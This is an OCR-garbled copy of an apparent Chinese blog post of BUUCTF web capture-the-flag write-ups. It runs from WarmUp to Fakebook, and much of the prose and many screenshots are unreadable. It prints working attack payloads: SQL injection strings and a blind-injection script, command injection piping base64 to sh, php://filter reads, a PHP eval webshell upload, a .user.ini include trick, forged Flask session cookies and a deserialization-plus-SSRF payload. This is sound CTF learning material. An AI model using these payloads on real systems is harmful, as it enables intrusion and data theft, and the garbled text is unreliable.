BUUCTFRIEic 3% (R E H v ~)

xiaolong22333 E EF 2022-04-13 17:17:42 5% o 4491 ﬁ R 10

MER: web &4

F 2021-04-03 22:38:34 ¥ KK Ai

FRAUE B SO ERAQICE, #IE_CC 4.0 BY-SA AU, HEFM _EJE SO A s M A S .
A CHEE: https://blog.csdn.net/xiaolong22333/article/details/115332682

FRAL

ZHTFE RS g fOd — LR, EMBFILR, KRITHARB —T, LR TR,

XEHZR

[HCTF 2018]WarmUp

% Kk 2019]EasySQL
(3P AF 2019188 (& i

[ 2% KBk 2019]Havefun
[SUCTF 2019]EasySQL
[ACTF2020 %74 %]Include

[ 2 K Pkik 2019]Secret File
[ 2 K Bkik 2019]LoveSQL
[GXYCTF2019]Ping Ping Ping
[ACTF2020 ¥4 5E|Exec

[k Kk 2019]Knife
[#"M#F 2018]easy_tornado
[RoarCTF 2019]Easy Calc

[k & K Pkdk 2019]Http
[k K Pkik 2019]PHP

[ % Kk 2019]Upload
% Kk 2019]BabySQL
[ACTF2020 #74: %€]Upload
[ACTF2020 ¥i4: 3§]BackupFile
[HCTF 2018]admin

[¥% % KBk 2019]BuyFlag
[BJDCTF2020]Easy MD5
[SUCTF 2019]Checkin
[ZJCTF 2019]NiZhuanSiWei
[CISCN2019 #4L2EX Day2 Web1]Hack World
[#% 2 K Hhik 2019]HardSQL

[ S AR 20181Fakebhook


https://blog.csdn.net/xiaolong22333
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/xiaolong22333/article/details/115332682

L' v/ni s e s e mes— e - e

[GXYCTF2019]BabySQli

[P &% 2020 F i 2H]AreUSerialz
[MRCTF2020]R 4 4R W8
[GYCTF2020]Blacklist
[MRCTF2020]Ez_bypass

[EEPIAT 2019 B B &
[BUUCTF 2018]Online Tool
[RoarCTF 2019]Easy Java(F£)
[GXYCTF2019]BabyUpload
[GXYCTF2019)%% b &4
[GWCTF 20191#&#B — /5 ¥E &
[BJDCTF2020]The mystery of ip
[BJDCTF2020]Mark loves cat
[BJDCTF2020]ZJCTF, Aidimit
[Zi#)#F 2019]easy_web

[ S14F 2020 24 4 ]phpweb
[De1CTF 2019]SSRF Me(F£)
[NCTF2019]Fake XML cookbook
[ASIS 2019]Unicorn shop
[BJDCTF2020]Cookie is so stable
[CISCN 2019 #]#€]Love Math
[BSidesCF 2020]Had a bad day
[SUCTF 2019]Pythonginx

[Z#I#F 2019]easy_serialize_php
[OCTF 2016]piapiapia
[WesternCTF2018]shrine
[SWPU2019]Web1
[WUSTCTF2020]#h s T4

[P 5 4F 2020 42 4H]Nmap
[MRCTF2020]PYWebsite

[¥ % KPkik 2019]FinalSQL
[NPUCTF2020]ReadlezPHP
[BJDCTF2020]EasySearch
[MRCTF2020]Ezpop
[NCTF2019]True XML cookbook
[GYCTF2020]FlaskApp
[CISCN2019 #4L3& X Day1 Web2]ikun
[CISCN2019 R FE X Web11
[CISCN2019 %4t #& X Day1 Web1]Dropbox
[BSidesCF 2019]Futurella

TP\NICTE 2N A4 QTe: R b4 bh B (17 AR I8N



[\GvVvve il 2V IIITHEARAIIMZIR\II 711 )

[IMRCTF20201E& %

[ % K3k ik 2019]RCE ME
[WUSTCTF2020]5iE 5t 2 1)
[BSidesCF 2019]Kookie
[FBCTF2019]RCEService

[CISCN2019 & ¥ 3% Day2 Web1]Easyweb
[ZerOpts2020]Can you guess it?
[CISCN2019 44t 5 [X Day1 Web5]CyberPunk
[P 5 4F 2018]Comment(F£)
[RCTF2015]EasySQL(F~£)

[CSCCTF 2019 Qual]FlaskLight
[HITCON 2017]SSRFme
[HFCTF2020]EasyLogin
[GYCTF2020]Ezsqli

[SUCTF 2019]EasyWeb

[SWPUCTF 2018]SimplePHP

M5 #F 2020 A FE4H]PicDown
[HarekazeCTF2019]encode_and_encode
[bO1lers2020]Welcome to Earth
[INCTF2019]SQLi
[watevrCTF-2019]Cookie Store
[WUSTCTF2020]CV Maker
[RootersCTF2019]l_<3_Flask
[CISCN2019 %% F5#& X |Double Secret
[BJDCTF2020]EzPHP
[GYCTF2020]EasyThinking
[NPUCTF2020]ezinclude
[HFCTF2020)JustEscape(F£)

[3&M#F 2019]Upload

[ 51 #£2018]Unfinish
[GYCTF2020]Easyphp
[MRCTF2020]Ezaudit

[4L B4 CTF 2021]write_shell
[SCTF2019]Flag Shop
[GXYCTF2019]StrongestMind

SUCTF 2018]GetShell

[ W 20191 N RS b A%
[0O1lers2020]Life on Mars
[GYCTF2020]Ez_Express

[ISITDTU 2019]EasyPHP



|HarekazeC | -2U19]Avatar uploader 1
[CSAWQual 2019]Web_Unagi
[BSidesCF 2019]SVGMagic

[EIS 2019]EZPOP

[SWPU2019]Web4

[ 54 HF 2020 2 PeE]AliceWebsite
[SUCTF 2018]MultiSQL
[GXYCTF2019]BabysqliV3.0

[Black Watch A% &]Web

[SUCTF 2018Jannonymous

October 2019 Twice SQL Injection
[RoarCTF 2019]Simple Upload
[DDCTF 2019]homebrew event loop
[CISCN2019 %R FE X |Web4
[WMCTF2020]Make PHP Great Again
[GoogleCTF2019 Quals]Bnv
[HFCTF2020]BabyUpload
[NPUCTF2020]ezlogin

% Kk 2020]Greatphp

[GWCTF 2019]mypassword
[RootersCTF2019]babyWeb

[2020 FrF LR
[XNUCA2019Qualifier]EasyPHP

[ AF2020]easyphp

EasyBypass

[Z¥#I#F 2019]iamthinking

[ 5 4% 2020 5 4 filejava
[CISCN2019 j& 3% Day1 Web4]Laravel1
[CISCN2019 %R JLFE X Web2
[NESTCTF 2019]Love Math 2
[watevrCTF-2019]Pickle Store
[RootersCTF2019]imgXweb
[HarekazeCTF2019]Easy Notes
[PASECA2019]honey_shop
[BSidesCF 2019]Pick Tac Toe
[WMCTF2020]Make PHP Great Again 2.0

virink_2019_files_share

[HCTF 2018]WarmUp



<?php
highlight file(_ FILE );
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !'is_string($page)) {
echo "you can't see it";

return false;

if (in_array($page, $whitelist)) {

return true;

$ _page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?")
)
if (in_array($_page, $whitelist)) {

return true;

$_page = urldecode($page);
$ _page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
)s
if (in_array($_page, $whitelist)) {
return true;
¥
echo "you can't see it";
return false;

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm: :checkFile($_REQUEST['file'])
) {
include $ REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";

BRLBRAEF A include B4 ffffllllaaaagggg » BT include MFEE

(! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file']))




X =T Atrue

| empty($_REQUEST['file']) REHA T it Htrue

is_string($_REQUEST['file']) FEEM AN/ & 4 Ntrue

emmm: : checkFile($_REQUEST['file']) RE M, BWH T emm3EH icheckFile 5%, MAKSE T ER AL B
#& source.php Bi# hint.php , HHBEE >, Frllpayload®

source.php?file=hint.php?/../../../../../../ffffllllaaaagggg

[#% % KBk % 2019]EasySQL

BEERT—T, 87

username=admin' or 1=1--+&password="'

[52 M A 2019] B {8 33

R —@8, EISEN, FHEEEMLFH: [GYCTF2020]Blacklist

(BF)

1';show databases;#

tables;#

1';show columns from “words’;
1';show columns from ~1919810931114514  ;

fifi1
KIN 1919810931114514 A flag, T words R RZidfdata, HHR U EREARZIER words RHFHINZE, BRIMRFE
& words #X 1919810931114514 , ¥4 id F|#H K flag FmiEeizEtflag T ,

1';rename table “words® to “wordl  j;rename table "1919810931114514° to “words j;alter table “words® change flag id
varchar(100);#

RIEHE 1'0or 1=1# B Eflag T

fi#2
AL

te4n

set @x1='1919810931114514"'; TFHER%

set @sql=concat('select * from',@xl); FFfhitisqliEH]
char(115,101,108,101,99,116) select

prepare xiaolong from @sql; TiE X sqligkf)
execute xiaolong;  #ATTIE XsqliEf)

WRRIIEF strstr B, KNS STEIAT

1';SET @sql=concat(char(115,101,108,101,99,116),'* from ~1919810931114514  ');PREPARE xiaolong from @sql;execute

xiaolong;

fiRE3
Hhandlerft & select

1';handler "1919810931114514 open; handler ~1919810931114514° read first;

Xt R S TH — 2R A A



[ % K Pk 2019]Havefun
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[SUCTF 2019]EasySQL
Hwpltf & I

ANITREEN ZRIETRE 70

1 ‘ select $_GET[ ] flag from flag

21X md EERRIBT BURRRFA ISR AT

fEoracle R4 2 HF @I ‘||’ REIFFEPHEE, EEmMysql BREASZFF. FEHEmysql KIsgl_mode
#3: pipes_as_concat ks:Horacle ff1—LE T #E

;set sql _mode=PIPES_AS CONCAT;select 1



ect * from test;

3 rows

mysqgl>
s

1 warning (0.8@ sec)

* 1| |name from test;

|
|
|
I
|
|
|
|
At

1| |name

|
|
|
I
|
|
|
|
b,

Bt ———t — 4+

warning (0.80 sec) log.csdn.net/x

[ACTF2020 i 4 % ]Include

php D PSR ST

?file=php://filter/read=convert.base64-encode/resource=flag.php

[#% % KBk 2019]Secret File

PRI secr3t.php
phpth X

?file=php://filter/read=convert.base64-encode/resource=flag.php

[#% % K Bkak 2019]LoveSQL

username=admin‘or '1'='1&password=1

% J5 158 %0 916ac54a426380d931b6d858656a9090 , {HE A flag
SZRAIRETEN

username=admin

password=916ac54a426380d931b6d858656a9090 'and updatexml(1l,concat(@x7e, (select database()),0x7e),1)#



916ac54a426380d931b6d858656a9090"'and updatexml(1,concat(0x7e, (select group concat(table name) from information s
chema.tables where table schema='geek'),0x7e),1)#
916ac54a426380d931b6d858656a9090 'and updatexml (1, concat(0x7e, (select group concat(column_name) from information

schema.columns where table name='lOvelysql'),0x7e),1)#
916ac54a426380d931b6d858656a9090'and updatexml (1, concat(0x7e, (select group concat(password) from lovelysql),@x7e
), 1)#

{Hupdatexml()Z ) 75 8 KR K N32, Bt DA 2 A substrif R & EL
A H B A RS, HEREE AT

'union select 1,2,group_concat(password) from lOvelysql#

[GXYCTF2019]Ping Ping Ping
R PR B

?1p=127.0.0.1;s=g;cat$IFS$9flas$s.php

fii%2: baseb64Zmig

?ip=127.0.0.1;echo$IFS$9Y2FOIGZsYWcucGhw|base64$IFS$9-d|sh

cat flag.phpifibase644iti% NY2FOIGZsYWcucGhw
echo$IFS$9Y2FOIGZsYWcucGhwiI 4 RONY2FOIGZsYWcucGhw
echo$IFS$9Y2FOIGZsYWcucGhw|base64$IFS$9-difI4: S Ncat flag.php
Bk | shiiRIATRIE M cat flag.php

fEVES: ABRIAT

?ip=127.0.0.1;cat$IFS$9 1s”

[ACTF2020 i 4 #£]Exec

[ % K3k 2019]Knife
ENE TS

[ M # 2018]easy_tornado

hint.txt
md5 (cookie_ secret+md5(filename))

R BB ECUE 4 %05 i flag il 2 Bk 21X AN U

er‘r‘or‘?msg=er‘r‘or‘



YE48E, PiZREBEREANIRS cookie_secret
TE handler.settings A] EA#RF| cookie_secret , XWHITEEAHIIE

{'autoreload": True, 'compiled template _cache': False, 'cookie secret": '5a2c6ab1-ce52-49fa-90d4-
a380324b67f9'}

file?filename=/f111111111111ag&filehash=665a7d61f98ceaa33fc5a07c266c4fc7

[RoarCTF 2019]Easy Calc

<?php
error_reporting(0);
if(!lisset($_GET['num'])){
show_source(__FILE_ );
}else{
$str = $_GET['num'];
$blacklist = [' ', "\t', "\r', "\n',"\"", ", U, N[N, NTL U\, AL\
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}

eval('echo '.$str.';');

php4sik

ZEATHETAF->MERT B8R/
BB APHRRFER->FHAA T RIZ
Fr LA Z2tnum BI AT Seid FR 42 B2
)5 scandir 31 S0

?%20num=print_r(scandir(chr(47))); #chr(47)R%&/

file_get_contentsistEXf1agg

file get contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));

[t & K k& 2019]Http
PR HE Secret.php , RIBHEE L, BMEE—FHATEXR

&R AE %3 http sk
Referer

X-Forwarded-For
User-Agent

[ % Kk dk 2019]PHP



www.zip B3 JRG

B T8 B 1 P 514k

JBHEAEE KT b B A Bhid _ wakeup() iR S $AT
<?php

class Name{

private $username='admin';

private $password=100;

}

$p=new Name();
echo serialize($p);
?>

payload:

index.php?select=0:4:"Name":3:{s:14:"%00Name%0@Ousername" ;s:5:"admin" ;s:14: "%00Name%00password";i:100;}

HEE R private B, FTBAZ T %00

[#% & K Pk ik 2019]Upload

E4E phtml pais

Content-Disposition: form-data; narme="file"; filename="321phtrnl"
Content-Type: image/gif

GIF98A

<seript language='php'= eval(_POST[cmd]); < /script = |
————————————————————————————— 163500222123103337173703665791
Content-Disposition: form-data; narme="submit"

: image/png
: image/jpg

: image/gif
1X 371 A LA

BRI L GIF98A

[#% % KBk % 2019]BabySQL
WE st

"uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#

"uniunionon selselectect 1,2,group_concat(table name) frfromom infoorrmation_schema.tables wherwheree table sche)
ma="'ctf'#

"uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns wherwheree table na
me="'Flag'#

"uniunionon selselectect 1,2,group_concat(flag) frfromom ctf.Flag#

[ACTF2020 i 4 #£]Upload

b4, phtml SO



[ACTF2020 i 4 3£ ]BackupFile

2By SO
Uil index.php.bak

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $ GET[ 'key'];
if(!is_numeric($key)) {

exit("Just num!");

b
$key = intval($key);

$str = "123ffwsfwefwf24r2+32ir23jrw923rskfjwtsws54w3";
if($key == $str) {
echo $flag;

"Try to find out source file!";

FOARFEET, FrUERITE TS 7 5 KRR & 5ok 775 8 R sy

index.php/?key=123

[HCTF 2018Jadmin

I — B AR
fRk1: 3504

username:admin

password:123

A RE A AN ABLEBRAANIESS D& B E B, ARATHARSEE T~
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def register():

if current user.is authenticated:
return redirect(url for('index'))

form = RegisterrForm()
if request.method == "POST':
name = strlowed(form.username.data)
if session.get( image').lower() != form.verify code.data.lower():
ftlash("Wrong verify code.")
return render template('register.html’, title = 'register’, form=form)
if User.query.filter by(username = name).first():
flash('The username has been registered')
return redirect(url for('register’))
user = User(username=name)
user.set password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful")
return redirect(url for('login'))
return render template('register.html’, title = "register’, ﬁﬁﬁ&ﬁﬁuER@H%meUManMng22333

FEEMXEHA strlowerEi

strlower(): B F 45 8 HHIPTE XS FREHA/NGFR, R E—AF 755 &

1B A BunicodeZm g n AomIn &4 40 A ADMIN
BEE, EEMHAMMEFLLFRERBT strlower

def login():
if current user.is authenticated:
return redirect(url for('index'))

form = LoginForm()
if request.method == "POST':
name = strlowed{form.username.data}
session[ ‘name’] = name
user = User.query.filter by(username=name).first()
it user is None or not user.check password(form.password.data):
flash('Invalid username or password’)
return redirect{url for('login'))
login user(user, remember=form.remember me.data)
return redirect(url for('index'))
return render_template('login.html', title = "login’, hfpemblodf@rmnet/xiaolong22333




change():

if current user.is authenticated:
return redirect(url for('login’))

form = NewpasswordForm()

if request.method == "POST
name strlowed(se551on:‘name‘:)

user = User.query.filter by(username=name).first()
user.set password(form.newpassword.data)
db.session.commit()
flash('change succes
return redirect(url for('ind
return render_template(’ '}'HHUP html®, title = “change’ yfQOR 5 £Q50)

FrOAERRIN T B SeiEMifusernamels Aonin , iXEF 2B strlower , TRBUEM T —Ausername’y ADMIN I/, ZJEH
A aomin AT R, XAA strlower , HLAELL ADMIN Bffi, A5 HFEEHE —RKAHA strlower , 8 ADMIN T admin , iXHt
IEE| T 2% admin BEHE KR

ADMIN__ s ADMIN—>admin

unicode
fifti:3: flask sessionfyid

ARG B T 4H AT B B

- ( ) %)
{% if current user.is authenticated %}
class="nav">Hello {{ session['name’'] }}
{% endif %}
{% if current user.is authenticated and session['name'] == ‘admin’ %}
class="nav">hctf{o0c00000¢}
{% endif %}
<l-- -->
class="nav">Welcome to hctf

{% include('footer.html") %} https://blog.csdn.ne
R ®thitflask-sessiongh /T LA T, 148 E A fif sessionik 7 E SECRET_KEY
SRR AT AR F)

import os

Config(object):
SECRET _KEY = os.environ. pet(‘k

SQLALCHEMY DATABASE URI = q
SQLALCHEMY TRACK | MDDIFICATIOHS

W, AU A Dy iE session T
i


https://unicode-table.com/en/blocks/phonetic-extensions/

python flask session_cookie manager3.py decode -c ".eJxFOEFrgz

AYXVGVMNLuYablIvTQEhtSeF9xxJIbkUjZnp29MB2pRU_rdJ73s-Fx-8Pwf7HLtqr5mydDdgxW7NN8sebC3L5YWKOQIINbZuUZiNP7XADy1SPpqwC4
Q0P jubAFptUMOEsogMuQi99YYUNwWFbS260Mo3A2x0F TCAgA0Ob5IZA5xx4ERUtIUuCKg 9whsrFXrYoYktHsmIJPIOoGwemG4GYUB5dINVmfvAMsZp
QqQp2uDaVb9lyxsu-ul-HXVbf CzINmWidpTIkEtYYfrjRI1lifxobghXcjEjagXQweZivydbbbvrjbp68WYqj6gal3Yva-6VxwhWbdjzDwKAZio.YG

dC4w.UuujSbZ57GYUF1R44TrsYon-QIs" -s "ckj123"

{' fresh': True, ' _id': b'd2029a9e2bee3ae640c03b219+31285314e5b956Ffb26c3ef90da521a43103320b7fc1463e9a253b62ddb7|
0c25059f2cd0cO8b75a39241d8b1fd40e24b5517b1"', 'csrf token': b'da389df738c7786a63fa9b8c09063b1992c2d478"', 'name’:
'test', 'user_id': '14'}

¥ name B #H Ak admin J5 IN%E

python flask_session_cookie_manager3.py encode -t "{'_fresh'

True, '_id': b'd2029a9e2bee3ae640c03b219f31285314e5b956ffb26c3ef90da521a43103320b7fcl1463e9a253b62ddb70c25059F2cd
©cO8b75a39241d8b1fd40e24b5517b1"', 'csrf_token': b'da389df738c7786a63fa9b8c09063b1992c2d478"', 'name': 'admin', 'u
ser_id': '14'}" -s "ckj123"
.eJIxFOMGKwjAUheFXGbJ2MY12I7hQUkOEe@uHVLNZikKN12pvGgarURnz3KW5meTYFnP8pOueuutZifuvulUTsm50YP8XHt5gLpOwP3Nb5rhwobFu
Q6xa56CkuI_Em5DuKYMOMLTXQlwmxTzC4QGwkRWwd-97pLIHgal TWAAUReNWgdAy2kCDL1KxJQBoJ4csTHOA73KpMHW_YqRWDghuM2xqiH1Ctfa7
Nw4X1iE3Q50DYJ2mxKnC3EayK01-68v_366vI_QWcxV613fIy5hinGHOmMWogtZS1yPvO-RsQHrUwgwOFVM8-XizVO0oRqIwykOFzER92vVveuIZCZ
ef213ZnM.YGdGhg.ZnzMLxyduFAyIf_LJILSFpIWGNmMQ

D:\&E+H

AvaGanLuYabIIVTQEhtbngxx]bkUJanZQMB2pRU_Pd]7 Fx- waf?HLthSmydDd

qwC4a0PjubAFptUMOEsogMuQig9YYUNwFb5260Mo3A2xoFTC 3b5]EA5xx4ERutIuCKL
mfvAMsZpQgQp2uDaVbolyxsu-ul -HXvbf IHlede]kEt

JzDwKAZio.YGdCAw. Uuuj! 5

{" fresh': True, ' id': b'd2029a%e2bee3 £31285314e5b956ffb2

ddb78c2585912¢ 08b75a39241d8b1+d40e24b5517b1', 'csrf_token': b'da38¢

'name’: ‘test', 'user_id': '14'}

D:\ELE/\FERICTF\flas
True, ' 1d 1 SiEid2

41d8b lfddﬂezdh 5517
min', : =

p[IH alTwAAURenwgdszkCDLll

&Vbl IyShlnGHBmwothblvP'u RsQHrUwgwOFVME-X

hitps:/fblog.




Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLTRender]

GET Jincex HTTP/1.1 A
Host: 06e7 1fc8-5996-453b-a5d4-adc28f8aTfeB node3. buuoj.cn i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winbd; x64; rnv:87.0) Gecko/20100101
Firefou/87.0
Accept:
text/htrnl, application/xhtml+xml. application/xml:g=09image/web)
Accept-Language: zh-CH,zh;q=08zh-TW,;g=07zh-HK;q=05,en-U5;
Connection: close
Cookie:
session=.elxFOMGKAjA UheFX GRIZMY 12IThOUKOE eOuHVLNZ KM 12pv Gg arURnz3KWS
meTfnP8p9ueuutZifuvu IUTsm5OYPEXHES gL pOwP 3MbSrhwolbFuOGxaS6Ckul _EmS
wrnxT=CAOGwWkRWwd-97pLiHgal UReNWgdAy2kCDLIK:JOBol
\quthuMz)mHItha"N vAXIE3Q50DY ) 2mxknC3EaykKO1-68y
PvO-RsOHrUwgwOFWIMB-Xiz\ 00 oR gwyk
\ uIZCZefziJan-.d.\'Gdth.»_n_r.db__.duF.~._-_.- f_LILSFRIWGHNmMO
Upgrade-Insecure-Requests: 1
I
-
v
pe a search fe 0 matches

ESIGIIGSICa

FRA 3t ik

https://github.com/noraj/flask-session-cookie-manager

[#% % X $k ik 2019]BuyFlag

gl=o

~~~post money and password~~w~
if (isset($_POST[ 'password'])) {
$password = $ POST[ 'password'];

if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {

echo "Password Right!</br

cookieFusertfi N1
password=404a

moneyFH $ 40 Se it 5 R} 21 0k

[BJDCTF2020]Easy MD5

<hl cass="nav">Hello admin=</hl>

<hl class="nav">flag{f25 Ifaea-9938-490b-8705-788dc6481a52] < /hl>

<I-- you are not admin -->
<hl class="nav">Welcorne to hatf</hl=

< script type="text/javascript”>
$(document).ready(function (b {

/i i T hE
$(.ui.dropdown").dropdown();

/f BAREEELE L, BENRERE
$(".post-content .avatar-link").popup({
inline: true,
position: "bottorn right’,
lastResart: "bottorn right’
n:
)
</seript>
</body=
< /htrnl=

? < + > Type a search term

e

L4

0 matches



https://github.com/noraj/flask-session-cookie-manager

I & Blhint

HTTP/ 1.1 200 Ok

Server: openresty

Dater Sun, 04 Apr 2021 02.57:25 GIMT

Content-Type: text/htrnl; charset=UTF-8

Connection: close

Hint: select * from "admin’ where password=rmd5($pass.true)
#-Powered-By: PHP/7.3.13

Content-Length: 3165

F ffifdyop £4EMD5

SR J5 3 Nlevels91.php

$GET['a"];
$_GET['b'];

if($a != $b & md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

Hh s

# Nlevell14.php
<?php

error_reporting(0);

include "flag.php";

highlight file(_ FILE_ );

if($ _POST[ 'paraml']!==$ POST[ 'param2']&&md5($ POST[ 'paraml'])===md5($_POST[ 'param2'])){
echo $flag;

IR F A gt

[SUCTF 2019]Checkin

FEERS, Sefkin b cIrsoa kgkid
kA% user.ini, AREN

auto_prepend_file=2.jpg

A2 F S Sk n_E include(“2.jpg”)
[EkE N GIF89A LT

Vi A

/uploads/d99081fe929b750e0557f85e6499103f/index.php



o — W OWL LAIILD UINIVINY DAJLL LIV AU DLL ULV UL NEAE DITA2D LINCULNND THHIVIL LINGRI T BRI W Il AJ3 . L

@ Load URL /http:f/3e9c94a9—f‘lec—4f'f0—9155—4555890adfdb.nodeS.buuoj.cn/uploads}d99081f9929b?50e0557f8536499103fjindex.php
% split URL

] Execute

Postdata [ ] Referrer 4 OxHEX ¥ &% %URL ™» @ BASE64 T Insert string to replace
g !

(emd= system('cat /flag');

Insert replacing string Replace All 3% : 7=

Post data

GIF89A flag{8152b456-9e12-470d-ad88-a3cca2de59e7}

[ZJCTF 2019]NizhuanSiWei

$ GET["text"];
$_GET["file"];
$password = $ GET["password"];
if(isset($text)&&(file get contents($text, 'r')==="welcome to the zjctf")){
echo "<br><h1>".file get contents($text,'r')."</h1i></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php

$password = unserialize($password);

echo $password;

}

else{
highlight file(_ FILE );

textF datatihil BX php://input B Awelcome to the zjctf
file F php ik Bluseless.php

@ Load URL (httpi//5a32225c-3ae0-4121-0094-22b4d964797e node3 buuoj.cn/?text=php://inputéfile=php://filter/read =convert base64-encode/resource=useless.php -
% split URL le
P Execute

Postdata []Referrer @ OGHEX 3B @K %URL 3B @K BASEGH M | lnsertsting (o replac | Insert replacing string] [ Replace All 8 | 3
Post data (welcome to the zjctf l :

welcome to the zjctf

PD9waHAgIAoKY2xhe3MgRmxhZ3sglC8vZmxhZy5waHAglAoglCAgeHVibGIICRmaWxIOyAgCiAgICBwdWIsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPm



public $file;
public function _ tostring(){

if(isset($this->file)){
echo file_get contents($this->file);
echo "<br>";

return ("U R SO CLOSE !///COME ON PLZ");

73 A flag.php

<?php
class Flag{ //flag.php
public $file="'flag.php';
public function __ tostring(){
if(isset($this->file)){
echo file_get contents($this->file);
echo "<br>";

return ("U R SO CLOSE !///COME ON PLZ");
¥

)
$p=new Flag();

echo serialize($p);
?>

B J5 Wpayloadit 5 4Efile 18 Xt Biuseless.php




INI Vo= @ SUL BASILST UNIUN BASED- ERROUR/DOUBLE QUERY-  10OULST

WAL BYPASS™ ENLUDINGT HIMLT ENCKYFHUNT

UIHER-

KS5™ LI

@l Load URL | http://5a32225c-3ae0-4121-9d94-22b4d964797e.node3.buuoj.cn/?text=php://input&file=useless.php&password=0:4:"Flag":1:{s:4:"file";5:8:"flag.php";}

% split URL

»  Execute

Postdata [ ] Referrer 4@ OxHEX 3% % %URL 3 % BASEGA I | /nsert string to re,ofa(f| ‘.’nse.rrfepﬂ?dng string Replace All 39 >

Post data welcome to the zjctf

welcome to the zjctf

oh u find it

U R SO CLOSE I///COME ON PLZ

s mwe | ©wes

| EmmEE | O

Wi
=
1%

html > body > br

TSy OT

<br></br>

oh u find it

<br></br>

<l--but i cant give it to u now-->
<!--2php if(2===3){ return (“flag{30889c738-c3f@-465b-beld-cfleda®36d93}"); } ?-->

<br></br>

[CISCN2019 41t 3% X Day2 Web1]Hack World

VIR T —TF, TIETHL, . or. and. #. ; selectZZ%

ZRT—TFREAATUEE

POST findexphp HTTR/11

Host: 15alf97 a-073f-4075-9700-3267 a740f3e0.node3 buugj.cn

User-Agent: Mozilla/5.0 (Windows MT 10.0; Wine4; x64; rv:87.0) Gecko/20100101
Firefox/87.0

Accept:

text/htrnl application /xhtrnl+xml.application/=ml,g=0.9image/webp*/*q=08
Accept-language: zh-CMN.zh,g=0.8zh-TW,q=07.zh-HK;q=0.5.en-U5;q=03.en.g=0.2
Content-Type: application,x-www-form-urlencoded

Content-Length: 50

Origin: http://15abf97 a-07 3f-4075-9700-3267 a740f3el.node3 buuoj.cn
Connection: dose

Referer: http://15abf97 a-073f-4075-9700-3267 a740f3e0.node3 buuoj.cn/index php
Upgrade-Insecure-Requests: |1

id=1"if(ascii{substr((selectiflag)from(flag)). 1. 1))=1 02,0,'I)|

SMHAB—TAEX5, BHER. . . )

e

HTTR/1.1 200 CK

Server: openresty

Date: Sun, 04 Apr 2021 09:37:55 GMT
Content-Type: tewt/htrnl; charset=UTF-8
Connection: close

*-Powered-By: PHP/5.640
Content-Length: 312

<htral=

<head>

<title> Hack Waorld < /title =
</head:>

<body>

<h3>All You Want Is In Table *flag’ and the colurmn is *flag’</h3>

=h3>Mow, just give the id of passage=/h3>
=form action="indexphp" method="POST">
<input type="text" name="id">

<input type="submit">

< fform s

< /body=

< /html=

Hello, glzjin wants a girlfriend.

e




import requests
import time
url="http://15abf97a-073f-4075-9700-3267a740F3e0.node3.buuoj.cn/index.php"
flag=""
payload={

"id"

¥
for i in range(0,60):

for j in range(1,127):
payload["id"]="17if(ascii(substr((select(flag)from(flag)),%d,1))=%d,0,1)"%(i,])
r = requests.post(url,data=payload)
time.sleep(0.01)
if 'Hello' in r.text:
flag = flag+chr(j)
print(flag)

break

[#%% K Pkik 2019]HardSQL

MEEN, HiTIET M =

'or(updatexml (1, concat(0x7e, (select(database())),0x7e),1))#

'or(updatexml (1, concat(0x7e, (select(group_concat(table name))from(information_schema.tables)where((table schema)
like('geek'))),0x7e),1))#

'or(updatexml (1, concat(0x7e, (select(group_concat(column_name))from(information schema.columns)where((table name)
like('H4rDsql'))),0x7e),1))#

'or(updatexml (1, concat(0x7e, (select(group_concat(password))from(H4rDsql)),0x7e),1))#

BERZLT, NHRRT

[ 5 4F 2018]Fakebook

A
BEATE N EIR A 1 N +ssrf+ R 7 714k
XwaffE K, R FIBunionflselectz ] B4 ¥& B/ /5k B 835

no=0 union/**/select 1,database(),3,4

no=0 union/**/select 1,group_concat(table name),3,4 from information_schema.tables where table schema ='fakebook

no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table name ='users'

no=0 union/**/select 1,group_concat(data),3,4 from users

datatr ¥ T
0:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:25:"https://xiaolong22333.top";}
RIGEF robots.txt , KIIEG

ZiadatadE S8 H, Mz RFFIL+ssrf

0:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

payload:

?no=0%20union/**/select 1,2,3,"'0:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:29:"file:/

//var/www/html/flag.php";}"'



XBii—F A AfEbloghtfFfEssr, W LRISCEIFGEB UL, HEE Kuser.phpth & R
TEVEM B blog S B AZRIMYE, X BERE T HAbloghht

username age blog

xiaolong 1 https://xiaclong22333.top

the contents of his/her blog

X EHblog, (EAHIEEMTARRRERTIEAR

REEMWER THEHAKIXNblog, kR X B ] §8 2 XA

XA R ssrf
7Euser.php a1 ARG 5t 2 78 F blog Furl 2 17 7]

get($url)
$ch = curl init();
curl setopt($ch, CURLOPT URL, $url);
curl setopt($ch, CURLOPT RETURNTRANSFER, 1);
$output = curl exec($ch);
